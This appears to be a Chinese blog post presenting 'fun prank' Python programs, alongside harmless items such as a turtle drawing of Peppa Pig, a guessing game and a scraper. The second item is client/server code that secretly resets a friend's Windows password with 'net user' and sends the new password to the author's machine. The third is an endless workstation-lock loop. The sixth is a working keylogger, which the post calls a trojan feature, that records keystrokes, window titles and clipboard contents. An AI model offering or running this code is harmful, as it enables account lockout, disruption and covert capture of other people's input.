分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码

为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

分享一:"啥是佩奇?"让Python语言告诉你

用Python代码创作一副佩奇:

1. # coding:utf-8
2. import turtle as t
3.
4. t.pensize(4)
5. t.hideturtle()
6. t.colormode(255)
7. t.color((255,155,192),"pink")
8. t.setup(840,500)
9. t.speed(10)
10.
11. #鼻子
12. t.pu()
13. t.goto(-100,100)
14. t.pd()
15. t.seth(-30)
16. t.begin_fill()
17. a=0.4
18. for i in range(120):
19. if 0<=i<30 or 60<=i<90:
20. a=a+0.08
21. t.lt(3) #向左转3度
22. t.fd(a) #向前走a的步长
23. else:
24. a=a-0.08
25. t.lt(3)
26. t.fd(a)
27. t.end_fill()
28.
29. t.pu()
30. t.seth(90)
31. t.fd(25)
32. t.seth(0)
33. t.fd(10)
34. t.pd()
35. t.pencolor(255,155,192)
36. t.seth(10)
37. t.begin_fill()
38. t.circle(5)
39. t.color(160,82,45)
40. t.end_fill()
41.
42. t.pu()
43. t.seth(0)
44. t.fd(20)
45. t.pd()
46. t.pencolor(255,155,192)
47. t.seth(10)
48. t.begin_fill()
49. t.circle(5)
50. t.color(160,82,45)
51. t.end_fill()
52.
53. #头
54. t.color((255,155,192),"pink")
55. t.pu()
56. t.seth(90)
57. t.fd(41)
58. t.seth(0)
59. t.fd(0)
60. t.pd()
61. t.begin_fill()
62. t.seth(180)
63. t.circle(300,-30)
64. t.circle(100,-60)
65. t.circle(80,-100)
66. t.circle(150,-20)
67. t.circle(60,-95)
68. t.seth(161)
69. t.circle(-300,15)
70. t.pu()
71. t.goto(-100,100)
72. t.pd()
73. t.seth(-30)
74. a=0.4
75. for i in range(60):
76. if 0<=i<30 or 60<=i<90:
77. a=a+0.08
78. t.lt(3) #向左转3度
79. t.fd(a) #向前走a的步长
80. else:
81. a=a-0.08
82. t.lt(3)
83. t.fd(a)
84. t.end_fill()
85.
86. #耳朵
87. t.color((255,155,192),"pink")
88. t.pu()
89. t.seth(90)
90. t.fd(-7)
91. t.seth(0)
92. t.fd(70)
93. t.pd()
94. t.begin_fill()
95. t.seth(100)
96. t.circle(-50,50)
97. t.circle(-10,120)
98. t.circle(-50,54)
99. t.end_fill()
100.
101. t.pu()
102. t.seth(90)
103. t.fd(-12)
104. t.seth(0)
105. t.fd(30)
106. t.pd()
107. t.begin_fill()
108. t.seth(100)
109. t.circle(-50,50)
110. t.circle(-10,120)
111. t.circle(-50,56)
112. t.end_fill()
113.
114. #眼睛
115. t.color((255,155,192),"white")
116. t.pu()
117. t.seth(90)
118. t.fd(-20)
119. t.seth(0)
120. t.fd(-95)
121. t.pd()
122. t.begin_fill()
123. t.circle(15)
124. t.end_fill()
125.
126. t.color("black")
127. t.pu()
128. t.seth(90)
129. t.fd(12)
130. t.seth(0)
131. t.fd(-3)
132. t.pd()
133. t.begin_fill()
134. t.circle(3)
135. t.end_fill()
136.
137. t.color((255,155,192),"white")
138. t.pu()
139. t.seth(90)
140. t.fd(-25)
141. t.seth(0)
142. t.fd(40)
143. t.pd()
144. t.begin_fill()
145. t.circle(15)
146. t.end_fill()
147.
148. t.color("black")
149. t.pu()
150. t.seth(90)
151. t.fd(12)
152. t.seth(0)
153. t.fd(-3)
154. t.pd()
155. t.begin_fill()
156. t.circle(3)
157. t.end_fill()
158.
159. #腮
160. t.color((255,155,192))
161. t.pu()
162. t.seth(90)
163. t.fd(-95)
164. t.seth(0)
165. t.fd(65)
166. t.pd()
167. t.begin_fill()
168. t.circle(30)
169. t.end_fill()
170.
171. #嘴
172. t.color(239,69,19)
173. t.pu()
174. t.seth(90)
175. t.fd(15)
176. t.seth(0)
177. t.fd(-100)
178. t.pd()
179. t.seth(-80)
180. t.circle(30,40)
181. t.circle(40,80)
182.
183. #身体
184. t.color("red",(255,99,71))
185. t.pu()
186. t.seth(90)
187. t.fd(-20)
188. t.seth(0)
189. t.fd(-78)
190. t.pd()
191. t.begin_fill()
192. t.seth(-130)
193. t.circle(100,10)
194. t.circle(300,30)
195. t.seth(0)
196. t.fd(230)
197. t.seth(90)
198. t.circle(300,30)
199. t.circle(100,3)
200. t.color((255,155,192),(255,100,100))
201. t.seth(-135)
202. t.circle(-80,63)
203. t.circle(-150,24)
204. t.end_fill()
205.
206. #手
207. t.color((255,155,192))
208. t.pu()
209. t.seth(90)
210. t.fd(-40)
211. t.seth(0)
212. t.fd(-27)
213. t.pd()
214. t.seth(-160)
215. t.circle(300,15)
216. t.pu()
217. t.seth(90)
218. t.fd(15)
219. t.seth(0)
220. t.fd(0)
221. t.pd()
222. t.seth(-10)
223. t.circle(-20,90)
224.
225. t.pu()
226. t.seth(90)
227. t.fd(30)
228. t.seth(0)
229. t.fd(237)
230. t.pd()
231. t.seth(-20)
232. t.circle(-300,15)
233. t.pu()
234. t.seth(90)
235. t.fd(20)
236. t.seth(0)
237. t.fd(0)
238. t.pd()
239. t.seth(-170)
240. t.circle(20,90)
241.
242. #脚
243. t.pensize(10)
244. t.color((240,128,128))
245. t.pu()
246. t.seth(90)
247. t.fd(-75)
248. t.seth(0)
249. t.fd(-180)
250. t.pd()
251. t.seth(-90)
252. t.fd(40)
253. t.seth(-180)
254. t.color("black")
255. t.pensize(15)
256. t.fd(20)
257.
258. t.pensize(10)
259. t.color((240,128,128))
260. t.pu()
261. t.seth(90)
262. t.fd(40)
263. t.seth(0)
264. t.fd(90)
265. t.pd()
266. t.seth(-90)
267. t.fd(40)
268. t.seth(-180)
269. t.color("black")
270. t.pensize(15)
271. t.fd(20)
272.
273. #尾巴
274. t.pensize(4)
275. t.color((255,155,192))
276. t.pu()
277. t.seth(90)
278. t.fd(70)
279. t.seth(0)
280. t.fd(95)
281. t.pd()
282. t.seth(0)
283. t.circle(70,20)
284. t.circle(10,330)
285. t.circle(70,30)
286. t.done()

效果图如下:

分享二:一个可以套路别人的python小程序

程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

然后,让你的朋友在他的电脑上运行客户端 client.py。

此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py:
import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect(('172.17.21.56', 8080))
user = getpass.getuser()
psd = ''
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd])
phone.send(psd.encode('utf-8'))
back_msg = phone.recv(1024)
phone.close()
# server.py
import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind(('172.17.21.56', 8080))
phone.listen(5)
print('starting....')
conn, addr = phone.accept()
print(conn)
print('client addr', addr)
print('ready to read msg')
client_msg = conn.recv(1024)
print('client msg: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()

分享三:一段Python 恶搞代码

代码运行后windows将无限锁屏

代码如下:from ctypes import *

while True:

user32 = windll.LoadLibrary('user32.dll')

user32.LockWorkStation()

分享四:一款python代码的数字猜谜小游戏

代码如下:

1. import random
2. rang1 = int(input("请设置本局游戏的最小值:"))
3. rang2 = int(input("请设置本局游戏的最大值:"))
4. num = random.randint(rang1,rang2)
5. guess = "guess"
6. print("数字猜谜游戏!")
7. i = 0
8. while guess != num:
9. i += 1
10. guess = int(input("请输入你猜的数字:"))
11. 
12. if guess == num:
13. print("恭喜,你猜对了!")
14. elif guess < num:
15. print("你猜的数小了...")
16. else:
17. print("你猜的数大了...")
18. 
19. print("你总共猜了%d" %i + "次",end = '')
20. print(",快和你朋友较量一下...")

分享五、一段好玩的Python爬虫代码

这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码:

1. # -*- coding: utf-8 -*-
2. import urllib2
3. import re
4. class QSBK:
5. def __init__(self):
6. self.pageIndex = 1
7. self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)'
8. self.headers = {'User-Agent': self.user_agent}
9. self.stories = []
10. # 存放程序是否继续运行的变量
11. self.enable = False
12. # 传入某一页的索引获得页面代码
13. def getPage(self, pageIndex):
14. try:
15. url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex)
16. request = urllib2.Request(url, headers = self.headers)
17. response = urllib2.urlopen(request)
18. pageCode = response.read().decode('utf-8')
19. return pageCode
20. except urllib2.URLError, e:
21. if hasattr(e, "reason"):
22. print u"连接糗事百科失败,错误原因", e.reason
23. return None
24.
25. # 传入某一页代码,返回本页不带图片的段子列表
26. def getPageItems(self, pageIndex):
27. pageCode = self.getPage(pageIndex)
28. if not pageCode:
29. print "页面加载失败。。。"
30. return None
31. pattern = re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S)
32. items = re.findall(pattern, pageCode)
33. pageStories = []
34. for item in items:
35. replaceBR = re.compile('<br/>')
36. text = re.sub(replaceBR,"\n",item[1])
37. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])
38. return pageStories
39.
40. # 加载并提取页面内容,加入到列表中
41. def loadPage(self):
42. if self.enable == True:
43. if len(self.stories) < 2:
44. pageStories = self.getPageItems(self.pageIndex)
45. if pageStories:
46. self.stories.append(pageStories)
47. self.pageIndex += 1
48.
49. # 调用该方法,回车打印一个段子
50. def getOneStory(self, pageStories, page):
51. for story in pageStories:
52. input = raw_input()
53. self.loadPage()
54. if input == "Q":
55. self.enable = False
56. return
57. print u"第%d页\t发布人:%s\t赞:%s\t评论:%s\n%s" %(page,story[0],story[2],story[3],story[1])
58.
59. def start(self):
60. print u"正在读取糗事百科,按回车查看新段子,Q退出"
61. self.enable = True
62. self.loadPage()
63. nowPage = 0
64. while self.enable:
65. if len(self.stories) > 0:
66. pageStories = self.stories[0]
67. nowPage += 1
68. del self.stories[0]
69. self.getOneStory(pageStories, nowPage)
70.
71. spider = QSBK()
72. spider.start()

分享六、木马程序常用的键盘记录功能实现

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

代码如下:

# -*- coding: utf-8 -*- 
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
 
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
 
#
def get_current_process():
 
 # 获取最上层的窗口句柄
 hwnd = user32.GetForegroundWindow()
 
 # 获取进程ID
 pid = c_ulong(0)
 user32.GetWindowThreadProcessId(hwnd,byref(pid))
 
 # 将进程ID存入变量中
 process_id = "%d" % pid.value
 
 # 申请内存
 executable = create_string_buffer("\x00"*512)
 h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
 
 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
 
 # 读取窗口标题
 windows_title = create_string_buffer("\x00"*512)
 length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
 
 # 打印
 print
 print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
 print
 
 # 关闭handles
 kernel32.CloseHandle(hwnd)
 kernel32.CloseHandle(h_process)
 
# 定义击键监听事件函数
def KeyStroke(event):
 
 global current_window
 
 # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
 if event.WindowName != current_window:
 current_window = event.WindowName
 # 函数调用
 get_current_process()
 
 # 检测击键是否常规按键(非组合键等)
 if event.Ascii > 32 and event.Ascii <127:
 print chr(event.Ascii),
 else:
 # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
 if event.Key == "V":
 win32clipboard.OpenClipboard()
 pasted_value = win32clipboard.GetClipboardData()
 win32clipboard.CloseClipboard()
 print "[PASTE]-%s" % (pasted_value),
 else:
 print "[%s]" % event.Key,
 # 循环监听下一个击键事件
 return True
 
# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
 
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

分享七、用Python写一个机器人陪自己聊聊天吧

用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。

一、需要的工具

1——Python。写代码的工具;

2——itchat库。第三方库,用来登录微信,接收并回复微信好友信息;

3——图灵机器人。第三方接口,我们本次使用的机器人;

二、代码如下:

1.准备

导入需要使用的第三方库

2.获取来自机器人的回复信息

在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。

这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。

创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。

3.接受来自好友之间的对话信息

4.接受来自微信群里面的对话信息

如果不需要机器人在群聊里聊天,可以删除这块代码。

5.运行

最后一步,登录微信,并运行机器人。


看完文章后,小伙伴们是不是跃跃欲试了呢?心动不如行动赶紧行动起来吧!Python编程语言真的不难!又很强大!抓紧试试吧!

举报
评论 0